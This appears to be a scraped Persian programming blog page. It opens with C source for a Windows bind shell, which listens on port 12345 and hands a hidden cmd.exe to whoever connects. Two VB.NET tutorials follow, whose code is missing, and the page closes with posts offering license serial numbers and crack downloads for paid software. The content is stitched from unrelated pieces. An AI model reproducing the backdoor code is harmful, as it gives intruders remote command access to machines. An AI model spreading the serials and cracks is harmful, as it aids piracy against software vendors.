#include <windows.h> // ZeroMemory() #include <winsock2.h> // API do Winsock #define PORTA 12345 int main() { WSADATA wsainfo; SOCKET sock; struct sockaddr_in addr; STARTUPINFO ini_info; PROCESS_INFORMATION proc_info; if(WSAStartup(0x202,&wsainfo) == SOCKET_ERROR) return 1; if((sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0)) == SOCKET_ERROR) return 1; addr.sin_family = AF_INET; addr.sin_port = htons(PORTA); addr.sin_addr.s_addr = INADDR_ANY; if(bind(sock,(struct sockaddr*)&addr,sizeof(addr)) == SOCKET_ERROR) return 1; listen(sock,1); if((sock = accept(sock,0,0)) == SOCKET_ERROR) return 1; ZeroMemory(&ini_info, sizeof(STARTUPINFO)); ZeroMemory(&proc_info, sizeof(PROCESS_INFORMATION)); ini_info.cb = sizeof(STARTUPINFO); ini_info.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; ini_info.wShowWindow = SW_HIDE; ini_info.hStdInput = ini_info.hStdOutput = ini_info.hStdError = (HANDLE)sock; CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &ini_info, &proc_info); return 0;

از سری تکنیک های برنامه نویسی ، امروز به تکنیکی دیگر در ویژوال بیسیک دات نت می پردازیم. همانطور که می دانید تنها کنترل دریافت یک رشته یا متن از کاربر ، کنترل Textbox می باشد که اهمیت زیادی برای هر برنامه نویس دارد. اما آیا شمای برنامه نویس می توانید کلیدها و کاراکترهای فشرده شده را در Textbox کنترل کرده و به عبارتی یک Textbox سفارشی ایجاد کنید؟ با مثالی براحتی می توانید این ترفند را یاد بگیرید. یک Textbox روی فرم ایجاد کنید. نامش را Txt_Control گذاشته و در رویداد KeyPress آن کد زیر را قرار دهید.

حالا به تحلیل کد می پردازیم : در این برنامه ابتدا کد اسکی کلید فشرده شده ، توسط دستور Asc(e.KeyChar) در داخل متغیر عددی KeyAscii قرار گرفته ، سپس در ساختار تصمیم Select ، این مقدار کنترل شده است. در اولین Case مشخص شده که اگر کلید فشرده شده اعداد 0 تا 9 و یا کلید BackSpace باشد ، آنها را Handle نکرده و در Textbox چاپ کند. در Case دوم هم تعریف شده که کاربر فقط یک بار مجاز به استفاده از کاراکتر "." می باشد و در صورت فشرده شدن مجدد این کلید ، آن را Handle کرده و چاپ نکند. همچنین می توانید برای شناسایی بعضی از کلیدهای خاص از شی ControlChars استفاده کنید که ما در این مثال از BackSpace استفاده کردیم. برخی کلیدهای مهم دیگر که ممکن است نیاز داشته باشید را ذکر می کنم :

کلید Enter هنگام تایپ در Textbox :

ControlChars.Cr

کلید Tab هنگام تایپ در Textbox :

ControlChars.Tab

کلیدهای غیر قابل فهم :

ControlChars.NullChar

کلید کوتیشن :

ControlChars.Quote

با توجه به رشد روزافزون برنامه نویسی و اهمیت آموزش آن قصد دارم تا در حد دانش خودم تکنیک های برنامه نویسی ای که در کتابها و مطالب آموزشی پیدا نمی شوند را آموزش بدهم. با ویژوال بیسیک دات نت شروع می کنیم. و اما تکنیک امروز : در حالت عادی ، پس از هر چند اجرای یک برنامه ، به تعداد دفعات اجرا ، پنجره اولیه نرم افزار ظاهر می شود ولی ممکن است که برنامه نویسی نخواهد که برنامه اش بیش از یک بار اجرا شود. در این رابطه اگر به برخی برنامه ها توجه کرده باشید ، متوجه خواهید شد که تنها یک بار اجرا شده و در صورت اجراهای مجدد ، ترتیب اثر داده نخواهد شد. مانند یاهو مسنجر و JetAudio و ... . خوشبختانه راه حلی برای این کار وجود دارد. کد زیر را در رویداد Load فرم اصلی برنامه قرار دهید.

توجه داشته باشید که به علت کمبود فضا دو خط اول برنامه در عکس به چهار قسمت تقسیم شده اند که می بایست خط دوم را در ادامه خط اول و خط چهارم را در ادامه خط سوم بنویسید. دو زیرخط بعد از مساوی ها هم نشانگر این موضوع هستند و در کد اصلی جای ندارند. به یاد داشته باشید که تکنیکهای بعدی هم در آینده به همین صورت خواهند بود. حالا به تحلیل کد می پردازیم : ابتدا توسط خاصیت Module Name نام فایل اجرایی خود را به دست آورده و در متغیر Mod_Name قرار داده ایم. سپس توسط متد GetFileNameWithoutExtension ، پسوند نام را برداشته و در دستور IF ، تعداد اجرای این فایل را شمارش کرده و در صورت اجرای بیش از یک بار ، دستورات داخل دستور شرطی ، اجرا خواهند شد. ما در اینجا توسط متد Exit برنامه را بسته ایم. شما می توانید دستورات دیگری را مانند :

MsgBox("There is another instance of this application" )

در داخل دستور شرطی قرار دهید که این دستور سبب نمایش پیامی مبنی بر وجود این برنامه در حافظه می شود. در اینجا تکنیک امروز به پایان می رسد. منتظر تکنیک های بعدی باشید.

این برنامه هم که دیگه اونایی که باید بشناسن حتما میشناسنش و با کارش هم آشنا هستند و فکر کنم ۹۹ درصدشونم بشینند دانلودش کنند.

حجم : 142.1 مگابایت
S/N:QCHR-WS8NZ3-FS7F83-HZZF
Reg KeY:W8N-7T7
S/N:ZB43-76EFRN-?J8R43-RR32
Reg KeY:8CM-5TK
S/N:USRT-SHX975-UE?JC8-2?ZY
Reg KeY:GRV-7BG
Download
Crack

مجموعه ای از کدهای جاوا اسکریپت که تو سایت خودش پولی هستند ولی ما همشو با کرک براتون گذاشتیم. پس اگه دنبال کدهای جاوا برای استفاده در صفحات وب هستید این مجموعه را دانلود کنید که خیلی توپه!!
(برای دیدن نمونه کدها هم برید اینجا و هر موضوعی که میخواهید انتخاب کنید و نمونه هاشو ببینید)

حجم : 8.7 مگابایت
Download
Crack